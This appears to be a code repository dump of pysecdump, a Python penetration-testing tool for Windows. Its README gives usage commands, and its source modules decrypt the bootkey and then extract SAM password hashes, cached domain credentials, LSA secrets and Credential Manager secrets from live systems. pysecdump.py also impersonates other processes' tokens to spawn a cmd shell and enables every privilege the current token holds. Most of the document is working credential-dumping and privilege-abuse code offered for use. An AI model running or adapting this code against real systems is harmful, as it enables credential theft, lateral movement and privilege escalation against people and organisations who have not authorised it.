├── CHANGELOG ├── COPYING ├── COPYING.PYSECDUMP ├── README.md ├── framework ├── __init__.py └── win32 │ ├── __init__.py │ ├── domcachedumplive.py │ ├── hashdumplive.py │ └── lsasecretslive.py ├── pysecdump.exe ├── pysecdump.py └── wpc ├── __init__.py ├── ace.py ├── acelist.py ├── cache.py ├── conf.py ├── drive.py ├── drives.py ├── exploit.py ├── file.py ├── files.py ├── group.py ├── groups.py ├── mspatchdb.py ├── parseOptions.py ├── patchdata.py ├── principal.py ├── process.py ├── processes.py ├── regkey.py ├── report ├── __init__.py ├── fileAcl.py ├── issue.py ├── issueAcl.py ├── issues.py └── report.py ├── sd.py ├── service.py ├── services.py ├── share.py ├── shares.py ├── thread.py ├── token.py ├── user.py ├── users.py └── utils.py /CHANGELOG: -------------------------------------------------------------------------------- 1 | Version: 1.0 Date: 2013-01-16 2 | 3 | Initial release. 4 | -------------------------------------------------------------------------------- /COPYING.PYSECDUMP: -------------------------------------------------------------------------------- 1 | This tool may be used for legal purposes only. Users take full responsibility 2 | for any actions performed using this tool. The author accepts no liability for 3 | damage caused by this tool. If these terms are not acceptable to you, then you 4 | may not use this tool. 5 | 6 | In all other respects the GPL version 2 applies. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | pysecdump 2 | ========= 3 | 4 | Python-based tool to dump security information from Windows systems 5 | 6 | Overview 7 | ======== 8 | 9 | pysecdump is a python tool to extract various credentials and secrets from 10 | running Windows systems. It currently extracts: 11 | * LM and NT hashes (SYSKEY protected) 12 | * Cached domain passwords 13 | * LSA secrets 14 | * Secrets from Credential Manager (only some) 15 | 16 | pysecdump can also: 17 | * Impersonate other processes - if you want a shell as another user 18 | * Enable currently held windows privileges - see "whoami /priv" 19 | 20 | It does exactly the same sort of things already implemented by gsecdump, 21 | Cain & Abel, metasploit and many other tools. 22 | 23 | This implementation is in python and that's probably the only notable thing 24 | about this implementation. 25 | 26 | If you think python is cool, this project might be of interest. If you don't, 27 | you should probably stop reading now. 28 | 29 | Credits 30 | ======= 31 | 32 | This is a derivative work of: 33 | 34 | creddump - http://code.google.com/p/creddump/ 35 | 36 | In fact very little of the code is different in pysecdump, 37 | which just pulls data from the registry instead of from on-disk hives 38 | 39 | windows-privesc-check - http://code.google.com/p/windows-privesc-check/ 40 | 41 | This is used mostly for the registry API 42 | 43 | I found the metasploit source code very handy for identifying the 44 | appropriate registry keys, so credit to those guys too for a great tool. 45 | 46 | Requirements 47 | ============ 48 | 49 | Nothing if you just want to run pysecdump.exe on a windows system. 50 | 51 | If you want to modify pysecdump.py then run recreate the .exe you need: 52 | 53 | * pywin32 - http://sourceforge.net/projects/pywin32/ 54 | * pycrypto - https://www.dlitz.net/software/pycrypto/ 55 | * pyinstaller - http://www.pyinstaller.org/ 56 | 57 | Usage 58 | ===== 59 | 60 | Dump cached domain hashes (run as SYSTEM): 61 |
 62 | pysecdump -c
 63 | 
64 | 65 | Dump LSA secrets (run as SYSTEM): 66 |
 67 | pysecdump -l
 68 | 
69 | 70 | Dump local password hashes from SAM (run as SYSTEM): 71 |
 72 | pysecdump -s
 73 | 
74 | 75 | Dump (some secrets) from Credential Manager (run as SYSTEM): 76 |
 77 | pysecdump -C
 78 | 
79 | 80 | Impersonate process ID 1234: 81 |
 82 | pysecdump -i 1234
 83 | whoami /all
 84 | 
85 | 86 | Enable all currently held windows privileges (can also use with -i): 87 |
 88 | pysecdump -e
 89 | whoami /priv
 90 | 
91 | 92 | Converting to .exe 93 | ================== 94 |
 95 | cd C:\pyinstaller-2.0
 96 | pyinstaller.py -F "c:\somepath\pysecdump.py"
 97 | 
98 | 99 | Features 100 | ======== 101 | 102 | * Is written in python 103 | * Supports XP family and Vista+ registry locations 104 | * Uses impersonation of all available processes when dumping Credential Manager. 105 | 106 | Author 107 | ====== 108 | 109 | pysecdump was adapted from creddump by pentestmonkey. 110 | 111 | creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). 112 | For more information on Syskey, LSA secrets, cached domain credentials, 113 | and lots of information on volatile memory forensics and reverse 114 | engineering, check out: 115 | 116 | http://moyix.blogspot.com/ 117 | 118 | License 119 | ======= 120 | 121 | This program is free software: you can redistribute it and/or modify 122 | it under the terms of the GNU General Public License as published by 123 | the Free Software Foundation, either version 3 of the License, or 124 | (at your option) any later version. 125 | 126 | This program is distributed in the hope that it will be useful, 127 | but WITHOUT ANY WARRANTY; without even the implied warranty of 128 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 129 | GNU General Public License for more details. 130 | 131 | You should have received a copy of the GNU General Public License 132 | along with this program. If not, see . 133 | -------------------------------------------------------------------------------- /framework/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestmonkey/pysecdump/fbc4d6b3b90efa421738b670a111eb2cba46a72c/framework/__init__.py -------------------------------------------------------------------------------- /framework/win32/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestmonkey/pysecdump/fbc4d6b3b90efa421738b670a111eb2cba46a72c/framework/win32/__init__.py -------------------------------------------------------------------------------- /framework/win32/domcachedumplive.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | # Modified by pentestmonkey 23 | 24 | from framework.win32.hashdumplive import get_bootkey 25 | from framework.win32.lsasecretslive import get_secret_by_name,get_lsa_key 26 | from Crypto.Hash import HMAC 27 | from Crypto.Cipher import ARC4 28 | from struct import unpack 29 | from wpc.regkey import regkey 30 | 31 | def get_nlkm(lsakey): 32 | return get_secret_by_name('NL$KM', lsakey) 33 | 34 | def decrypt_hash(edata, nlkm, ch): 35 | hmac_md5 = HMAC.new(nlkm,ch) 36 | rc4key = hmac_md5.digest() 37 | 38 | rc4 = ARC4.new(rc4key) 39 | data = rc4.encrypt(edata) 40 | return data 41 | 42 | def parse_cache_entry(cache_data): 43 | (uname_len, domain_len) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | # Modified by pentestmonkey 23 | 24 | from Crypto.Hash import MD5 25 | from Crypto.Cipher import ARC4,DES 26 | from struct import unpack,pack 27 | from wpc.regkey import regkey 28 | import sys 29 | import ctypes 30 | from binascii import hexlify 31 | 32 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 33 | 34 | odd_parity = [ 35 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 36 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 37 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 38 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 39 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 40 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 41 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 42 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 43 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 44 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 45 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 46 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 47 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 48 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 49 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 50 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 51 | ] 52 | 53 | # Permutation matrix for boot key 54 | p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 55 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 56 | 57 | # Constants for SAM decrypt algorithm 58 | aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 59 | anum = "0123456789012345678901234567890123456789\0" 60 | antpassword = "NTPASSWORD\0" 61 | almpassword = "LMPASSWORD\0" 62 | 63 | empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') 64 | empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') 65 | 66 | def str_to_key(s): 67 | key = [] 68 | key.append( ord(s[0])>>1 ) 69 | key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) 70 | key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) 71 | key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) 72 | key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) 73 | key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) 74 | key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) 75 | key.append( ord(s[6])&0x7F ) 76 | for i in range(8): 77 | key[i] = (key[i]<<1) 78 | key[i] = odd_parity[key[i]] 79 | return "".join(chr(k) for k in key) 80 | 81 | def sid_to_key(sid): 82 | s1 = "" 83 | s1 += chr(sid & 0xFF) 84 | s1 += chr((sid>>8) & 0xFF) 85 | s1 += chr((sid>>16) & 0xFF) 86 | s1 += chr((sid>>24) & 0xFF) 87 | s1 += s1[0]; 88 | s1 += s1[1]; 89 | s1 += s1[2]; 90 | s2 = s1[3] + s1[0] + s1[1] + s1[2] 91 | s2 += s2[0] + s2[1] + s2[2] 92 | 93 | return str_to_key(s1),str_to_key(s2) 94 | 95 | def find_control_set(): 96 | r = regkey("HKEY_LOCAL_MACHINE\\SYSTEM\\Select") 97 | return r.get_value("Current") 98 | 99 | def get_bootkey(): 100 | cs = find_control_set() 101 | r = regkey("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet%03d\Control\Lsa" % cs) 102 | 103 | lsa_keys = ["JD","Skew1","GBG","Data"] 104 | bootkey = "" 105 | 106 | for lk in lsa_keys: 107 | class_data = get_hklm_class("SYSTEM\\ControlSet%03d\\Control\\Lsa\\%s" % (cs, lk)) 108 | bootkey += class_data.decode('hex') 109 | bootkey_scrambled = "" 110 | for i in range(len(bootkey)): 111 | bootkey_scrambled += bootkey[p[i]] 112 | return bootkey_scrambled 113 | 114 | def get_hbootkey(bootkey): 115 | r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account"); 116 | F = r.get_value("F") 117 | 118 | if not F: 119 | return None 120 | 121 | md5 = MD5.new() 122 | md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) 123 | rc4_key = md5.digest() 124 | 125 | rc4 = ARC4.new(rc4_key) 126 | hbootkey = rc4.encrypt(F[0x80:0xA0]) 127 | 128 | return hbootkey 129 | 130 | def get_user_keys(): 131 | r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users"); 132 | for s in r.get_subkeys(): 133 | if s.get_name().split("\\")[-1] != "Names": 134 | yield s.get_name().split("\\")[-1] 135 | 136 | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): 137 | (des_k1,des_k2) = sid_to_key(rid) 138 | d1 = DES.new(des_k1, DES.MODE_ECB) 139 | d2 = DES.new(des_k2, DES.MODE_ECB) 140 | 141 | md5 = MD5.new() 142 | md5.update(hbootkey[:0x10] + pack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | # Modified by pentestmonkey 23 | 24 | from framework.win32.hashdumplive import get_bootkey,str_to_key 25 | from Crypto.Hash import MD5,SHA256 26 | from Crypto.Cipher import ARC4,DES,AES 27 | from struct import unpack,pack 28 | from wpc.regkey import regkey 29 | from binascii import hexlify 30 | xp = None 31 | 32 | 33 | def get_lsa_key(bootkey): 34 | global xp 35 | r = regkey("HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\PolSecretEncryptionKey") 36 | 37 | if r.is_present(): 38 | xp = 1 39 | else: 40 | r = regkey("HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\PolEKList") 41 | if r.is_present: 42 | xp = 0 43 | else: 44 | return None 45 | 46 | obf_lsa_key = r.get_value("") 47 | if not obf_lsa_key: 48 | return None 49 | 50 | if xp: 51 | md5 = MD5.new() 52 | md5.update(bootkey) 53 | for i in range(1000): 54 | md5.update(obf_lsa_key[60:76]) 55 | rc4key = md5.digest() 56 | 57 | rc4 = ARC4.new(rc4key) 58 | lsa_key = rc4.decrypt(obf_lsa_key[12:60]) 59 | return lsa_key[0x10:0x20] 60 | else: 61 | lsa_key = decrypt_lsa(obf_lsa_key, bootkey) 62 | return lsa_key[68:100] 63 | 64 | 65 | def decrypt_secret(secret, key): 66 | """Python implementation of SystemFunction005. 67 | 68 | Decrypts a block of data with DES using given key. 69 | Note that key can be longer than 7 bytes.""" 70 | decrypted_data = '' 71 | j = 0 # key index 72 | for i in range(0,len(secret),8): 73 | enc_block = secret[i:i+8] 74 | block_key = key[j:j+7] 75 | des_key = str_to_key(block_key) 76 | des = DES.new(des_key, DES.MODE_ECB) 77 | decrypted_data += des.decrypt(enc_block) 78 | 79 | j += 7 80 | if len(key[j:j+7]) < 7: 81 | j = len(key[j:j+7]) 82 | 83 | (dec_data_len,) = unpack(". 17 | 18 | from framework.win32.domcachedumplive import dump_file_hashes as cachedump_reg_hashes 19 | from framework.win32.hashdumplive import dump_hashes as hashdump_reg_hashes 20 | from framework.win32.hashdumplive import get_bootkey 21 | from framework.win32.lsasecretslive import get_live_secrets 22 | from optparse import OptionParser 23 | from optparse import OptionGroup 24 | import win32process 25 | import win32event 26 | import pywintypes 27 | import win32security 28 | import win32api 29 | import win32con 30 | import ntsecuritycon 31 | import win32cred 32 | from wpc.processes import processes 33 | from wpc.thread import thread 34 | from binascii import hexlify 35 | import sys 36 | 37 | version = "1.0" 38 | 39 | def parseOptions(): 40 | print "pysecdump v%s https://github.com/pentestmonkey/pysecdump" % version 41 | usage = "%s (dump opts | shell opts | -h) " % (sys.argv[0]) 42 | 43 | parser = OptionParser(usage = usage, version = version) 44 | 45 | dump = OptionGroup(parser, "dump opts", "Choose what you want to dump") 46 | shell = OptionGroup(parser, "shell opts", "Get shell with different privs") 47 | 48 | dump.add_option("-a", "--all", dest = "do_all", default = False, action = "store_true", help = "Dump everything") 49 | dump.add_option("-s", "--samhashes", dest = "do_samhashes", default = False, action = "store_true", help = "Dump hashes from SAM (registry)") 50 | dump.add_option("-l", "--lsasecrets", dest = "do_lsasecrets", default = False, action = "store_true", help = "Dump LSA Secrets (registry)") 51 | dump.add_option("-c", "--cacheddomcreds", dest = "do_cacheddomcreds", default = False, action = "store_true", help = "Dump Cached Domain Creds (registry)") 52 | dump.add_option("-C", "--credman", dest = "do_credman", default = False, action = "store_true", help = "Dump Credential Manager for all logged in users (API call) - can't do all passwords types") 53 | dump.add_option("-b", "--bootkey", dest = "do_bootkey", default = False, action = "store_true", help = "Dump Bootkey (registry)") 54 | 55 | shell.add_option("-i", "--impersonate", dest = "pid", default = False, help = "Impersonate a process") 56 | shell.add_option("-e", "--enable_privs", dest = "enable_privs", default = False, action = "store_true", help = "Enable all privs in current token") 57 | 58 | parser.add_option_group(dump) 59 | parser.add_option_group(shell) 60 | 61 | (options, args) = parser.parse_args() 62 | 63 | if not (options.do_all or options.do_samhashes or options.do_lsasecrets or options.do_cacheddomcreds or options.do_bootkey or options.do_credman or options.pid or options.enable_privs): 64 | print "[E] Specify at least one of: -a, -s, -l, -c, -b, -C, -t, -e. -h for help." 65 | sys.exit() 66 | 67 | return options 68 | 69 | def shell_as(th, enable_privs = 0): 70 | t = thread(th) 71 | print t.as_text() 72 | new_tokenh = win32security.DuplicateTokenEx(th, 3 , win32con.MAXIMUM_ALLOWED , win32security.TokenPrimary , win32security.SECURITY_ATTRIBUTES() ) 73 | print "new_tokenh: %s" % new_tokenh 74 | print "Impersonating..." 75 | if enable_privs: 76 | get_all_privs(new_tokenh) 77 | commandLine = "cmd" 78 | si = win32process.STARTUPINFO() 79 | print "pysecdump: Starting shell with required privileges..." 80 | (hProcess, hThread, dwProcessId, dwThreadId) = win32process.CreateProcessAsUser( 81 | new_tokenh, 82 | None, # AppName 83 | commandLine, # Command line 84 | None, # Process Security 85 | None, # ThreadSecurity 86 | 1, # Inherit Handles? 87 | win32process.NORMAL_PRIORITY_CLASS, 88 | None, # New environment 89 | None, # Current directory 90 | si) # startup info. 91 | win32event.WaitForSingleObject( hProcess, win32event.INFINITE ); 92 | print "pysecdump: Quitting" 93 | 94 | def get_all_privs(th): 95 | # Try to give ourselves some extra privs (only works if we're admin): 96 | # SeBackupPrivilege - so we can read anything 97 | # SeDebugPrivilege - so we can find out about other processes (otherwise OpenProcess will fail for some) 98 | # SeSecurityPrivilege - ??? what does this do? 99 | 100 | # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these. 101 | # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34 102 | 103 | privs = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges) 104 | for privtuple in privs: 105 | privs2 = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges) 106 | newprivs = [] 107 | for privtuple2 in privs2: 108 | if privtuple2[0] == privtuple[0]: 109 | newprivs.append((privtuple2[0], 2)) # SE_PRIVILEGE_ENABLED 110 | else: 111 | newprivs.append((privtuple2[0], privtuple2[1])) 112 | 113 | # Adjust privs 114 | privs3 = tuple(newprivs) 115 | win32security.AdjustTokenPrivileges(th, False, privs3) 116 | 117 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 118 | def dump(src, length=8): 119 | # Hex dump code from 120 | # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 121 | 122 | N=0; result='' 123 | while src: 124 | s,src = src[:length],src[length:] 125 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 126 | su = s 127 | uni_string = '' 128 | for n in range(0, len(su)/2): 129 | if su[n*2 + 1] == "\0": 130 | uni_string += unicode(su[n*2:n*2+1], errors='ignore') 131 | else: 132 | uni_string += '?' 133 | s = s.translate(FILTER) 134 | result += "%04X %-*s%-16s %s\n" % (N, length*3, hexa, s, uni_string) 135 | N+=length 136 | return result 137 | 138 | def section(message): 139 | print 140 | print "[ %s ... ]" % message 141 | print 142 | 143 | def get_credman_creds(quiet=0): 144 | try: 145 | creds = win32cred.CredEnumerate(None, 0) 146 | return creds 147 | except pywintypes.error as e: 148 | if not quiet: 149 | if e[0] == 1004: 150 | print "[E] Call to CredEnumerate failed: Invalid flags. This doesn't work on XP/2003." 151 | elif e[0] == 1168: 152 | print "[E] Call to CredEnumerate failed: Element not found. No credentials stored for this user. Run as normal user, not SYSTEM." 153 | elif e[0] == 1312: 154 | print "[E] Call to CredEnumerate failed: No such login session. Only works for proper login session - not network logons." 155 | else: 156 | print "[E] Call to CredEnumerate failed: %s" % e[2] 157 | return None 158 | 159 | def dump_cred(package): 160 | for k in package.keys(): 161 | if k == "CredentialBlob": 162 | if package[k]: 163 | print "%s:" % k 164 | sys.stdout.write(dump(package[k], 16)) 165 | else: 166 | print "%s: %s" % (k, "") 167 | else: 168 | print "%s: %s" % (k, package[k]) 169 | print "" 170 | 171 | options = parseOptions() 172 | 173 | # bootkey 174 | if options.do_all or options.do_bootkey: 175 | section("Dumping Bootkey") 176 | print "Bootkey: %s" % hexlify(get_bootkey()) 177 | 178 | # cachedump 179 | if options.do_all or options.do_cacheddomcreds: 180 | section("Dumping Cached Domain Credentials") 181 | got_a_hash = 0 182 | for hash in cachedump_reg_hashes(): 183 | got_a_hash = 1 184 | print hash 185 | 186 | if not got_a_hash: 187 | print "[E] No cached hashes. Are you running as SYSTEM? Or machine not a domain member?" 188 | 189 | # pwdump 190 | if options.do_all or options.do_samhashes: 191 | section("Dumping Password Hashes From SAM") 192 | got_a_hash = 0 193 | for hash in hashdump_reg_hashes(): 194 | got_a_hash = 1 195 | print hash 196 | 197 | if not got_a_hash: 198 | print "[E] No hashes. Are you running as SYSTEM?" 199 | 200 | # credman 201 | if options.do_all or options.do_credman: 202 | section("Dumping Current User's Credentials from Credential Manager") 203 | creds = get_credman_creds() 204 | if creds: 205 | for package in creds: 206 | dump_cred(package) 207 | 208 | sid_done = {} 209 | for p in processes().get_all(): 210 | for t in p.get_tokens(): 211 | x = t.get_token_user().get_fq_name().encode("utf8") 212 | if t.get_token_user().get_fq_name().encode("utf8") in sid_done.keys(): 213 | pass 214 | else: 215 | sid_done[t.get_token_user().get_fq_name().encode("utf8")] = 1 216 | section("Dumping Credentials from Credential Manager for: %s" % t.get_token_user().get_fq_name()) 217 | win32security.ImpersonateLoggedOnUser(t.get_th()) 218 | creds = get_credman_creds() 219 | if creds: 220 | for package in creds: 221 | dump_cred(package) 222 | win32security.RevertToSelf() 223 | 224 | # lsadump 225 | if options.do_all or options.do_lsasecrets: 226 | section("Dumping LSA Secrets") 227 | secrets = get_live_secrets() 228 | if not secrets: 229 | print "[E] Unable to read LSA secrets. Perhaps you are not SYTEM?" 230 | sys.exit(1) 231 | 232 | for k in sorted(secrets.keys()): 233 | print k 234 | print dump(secrets[k], length=16) 235 | 236 | # shell with privileges of another process 237 | if options.pid: 238 | found = 0 239 | for p in processes().get_all(): 240 | if p.get_pid() == int(options.pid): 241 | found = 1 242 | print p.as_text() 243 | for t in p.get_tokens(): 244 | shell_as(t.get_th(), options.enable_privs) 245 | if not found: 246 | print "[E] Could not find process with PID %s" % options.pid 247 | 248 | # shell with all privs enabled 249 | elif options.enable_privs: 250 | th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.MAXIMUM_ALLOWED) 251 | shell_as(th, options.enable_privs) 252 | -------------------------------------------------------------------------------- /wpc/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /wpc/ace.py: -------------------------------------------------------------------------------- 1 | from wpc.principal import principal 2 | import ntsecuritycon 3 | import wpc.conf 4 | 5 | 6 | class ace: 7 | def __init__(self, otype, ace): 8 | self.set_ace(ace) 9 | self.type = None 10 | self.resolved_perms = [] 11 | self.set_otype(otype) 12 | self.set_type_i(ace[0][0]) 13 | self.set_flags(ace[0][1]) 14 | self.set_sid(ace[2]) 15 | self.set_dperms([]) 16 | self.set_principal(principal(ace[2])) 17 | self.set_perms(self.resolve_perms()) 18 | 19 | def get_type(self): 20 | if not self.type: 21 | for i in ("ACCESS_ALLOWED_ACE_TYPE", "ACCESS_DENIED_ACE_TYPE", "SYSTEM_AUDIT_ACE_TYPE", "SYSTEM_ALARM_ACE_TYPE"): 22 | if getattr(ntsecuritycon, i) == self.type_i: 23 | # Abbreviate 24 | if i == "ACCESS_ALLOWED_ACE_TYPE": 25 | self.type = "ALLOW" 26 | break 27 | if i == "ACCESS_DENIED_ACE_TYPE": 28 | self.type = "DENY" 29 | break 30 | if not self.type: 31 | self.type = "UNKNOWN_ACE_TYPE_" + self.type_i 32 | return self.type 33 | 34 | def get_sid(self): 35 | return self.sid 36 | 37 | def get_flags(self): 38 | return self.flags 39 | 40 | def set_principal(self, principal): 41 | self.principal = principal 42 | 43 | def set_dperms(self, dperms): 44 | self.dperms = dperms 45 | 46 | def set_sid(self, sid): 47 | self.sid = sid 48 | 49 | def set_flags(self, flags): 50 | self.flags = flags 51 | 52 | def set_ace(self, ace): 53 | self.ace = ace 54 | 55 | def set_type_i(self, type_i): 56 | self.type_i = type_i 57 | 58 | def set_otype(self, otype): 59 | self.otype = otype 60 | 61 | def set_type(self, type): 62 | self.type = type 63 | 64 | def get_principal(self): 65 | return self.principal 66 | 67 | def get_otype(self): 68 | return self.otype 69 | 70 | def resolve_perms(self): 71 | if self.resolved_perms == []: 72 | for mod, perms_tuple in wpc.conf.all_perms[self.get_otype()].iteritems(): 73 | for perm in perms_tuple: 74 | g = getattr(mod, perm) # save a getattr call 75 | if g & self.ace[1] == g: 76 | self.resolved_perms.append(perm) 77 | return self.resolved_perms 78 | 79 | def get_perms(self): 80 | return self.perms 81 | 82 | def get_ace(self): 83 | return self.ace 84 | 85 | def copy(self): 86 | new = ace(self.get_otype(), self.get_ace()) 87 | return new 88 | 89 | def set_perms(self, perms): 90 | self.perms = perms 91 | 92 | def has_perm(self, perm): 93 | if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY 94 | for p in self.get_perms(): 95 | if p == perm: 96 | return 1 97 | return 0 98 | 99 | def get_perms_dangerous(self): 100 | if self.dperms == []: 101 | if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY 102 | for p in self.get_perms(): 103 | for k in wpc.conf.dangerous_perms_write[self.get_otype()]: 104 | if p in wpc.conf.dangerous_perms_write[self.get_otype()][k]: 105 | self.dperms.append(p) 106 | return self.dperms 107 | 108 | def as_text(self): 109 | return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms()) 110 | 111 | # def dangerous_as_text(self): 112 | # return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms_dangerous()) 113 | -------------------------------------------------------------------------------- /wpc/acelist.py: -------------------------------------------------------------------------------- 1 | from wpc.ace import ace 2 | import ntsecuritycon 3 | import win32security 4 | 5 | 6 | # just a list of ACEs. No owner, group, dacl, sd 7 | # we abstrace this out so we can chain searchs: 8 | # sd.get_aces_untrusted().get_aces_dangerous() 9 | class acelist: 10 | def __init__(self): 11 | self.aces = [] 12 | self.untrusted_acelist = None 13 | pass 14 | 15 | def add(self, ace): 16 | # http://msdn.microsoft.com/en-us/library/aa374919(v=vs.85).aspx 17 | # Ignore ACE if it doesn't apply to this object (i.e. it is instead just inherited by children) 18 | if not ace.get_flags() & ntsecuritycon.INHERIT_ONLY_ACE: 19 | self.aces.append(ace) 20 | 21 | def get_aces(self): 22 | return self.aces 23 | 24 | def get_aces_for(self, principal): 25 | a = acelist() 26 | for ace in self.get_aces(): 27 | if principal.get_sid() == ace.get_sid(): 28 | a.add(ace) 29 | return a 30 | 31 | def get_untrusted(self): 32 | if not self.untrusted_acelist: 33 | self.untrusted_acelist = acelist() 34 | for ace in self.get_aces(): 35 | if not ace.get_principal().is_trusted(): 36 | self.untrusted_acelist.add(ace) 37 | return self.untrusted_acelist 38 | 39 | def get_dangerous_perms(self): 40 | a = acelist() 41 | for ace in self.get_aces(): 42 | if not ace.get_perms_dangerous() == []: 43 | newace = ace.copy() 44 | newace.set_perms(newace.get_perms_dangerous()) 45 | a.add(newace) 46 | return a 47 | 48 | def get_aces_with_perms(self, perms): 49 | a = acelist() 50 | for ace in self.get_aces(): 51 | found_perms = [] 52 | for p in perms: 53 | if ace.has_perm(p): 54 | found_perms.append(p) 55 | if not found_perms == []: 56 | newace = ace.copy() 57 | newace.set_perms(found_perms) 58 | a.add(newace) 59 | return a 60 | 61 | def get_aces_except_for(self, principals): 62 | a = acelist 63 | for ace in self.get_aces(): 64 | trusted = 0 65 | for p in principals: 66 | #print "comparing %s with %s" % (p.get_sid(), ace.get_sid()) 67 | if p.get_sid() == ace.get_sid(): 68 | trusted = 1 69 | break 70 | if not trusted: 71 | a.add(ace) 72 | return a 73 | 74 | def as_text(self): 75 | for ace in self.get_aces(): 76 | print ace.as_text() -------------------------------------------------------------------------------- /wpc/cache.py: -------------------------------------------------------------------------------- 1 | from wpc.sd import sd 2 | import win32net 3 | import win32netcon 4 | import win32security 5 | import wpc.file 6 | #from wpc.file import file as wpcfile 7 | 8 | 9 | # Basically a huge hash of all lookups 10 | # 11 | # There should be only one instance of the cache which is started when the script is initialised 12 | # All classes are hard-coded to use this instance of "cache" 13 | # 14 | # wpc.cache # single global instance of this class 15 | # 16 | # Some attributes of "cache" determine how it behaves 17 | # wpc.conf.cache... 18 | class cache: 19 | def __init__(self): 20 | self.namefromsid = {} 21 | self.sidfromname = {} 22 | self.stringfromsid = {} 23 | self.sidingroup = {} 24 | self.files = {} 25 | self.regkeys = {} 26 | self.misses = {} 27 | self.hits = {} 28 | self.policyhandlefromserverrights = {} 29 | self.rightsfromhandlesid = {} 30 | self.namefromserveruser = {} 31 | self.hits['files'] = 0 32 | self.misses['files'] = 0 33 | self.hits['regkeys'] = 0 34 | self.misses['regkeys'] = 0 35 | self.hits['sd'] = 0 36 | self.misses['sd'] = 0 37 | self.hits['LookupAccountSid'] = 0 38 | self.misses['LookupAccountSid'] = 0 39 | self.hits['LookupAccountName'] = 0 40 | self.misses['LookupAccountName'] = 0 41 | self.hits['is_in_group'] = 0 42 | self.misses['is_in_group'] = 0 43 | 44 | def print_stats(self): 45 | for k in self.hits.keys(): 46 | print "Hits for %s: %s" % (k, self.get_hits(k)) 47 | print "Misses for %s: %s" % (k, self.get_misses(k)) 48 | 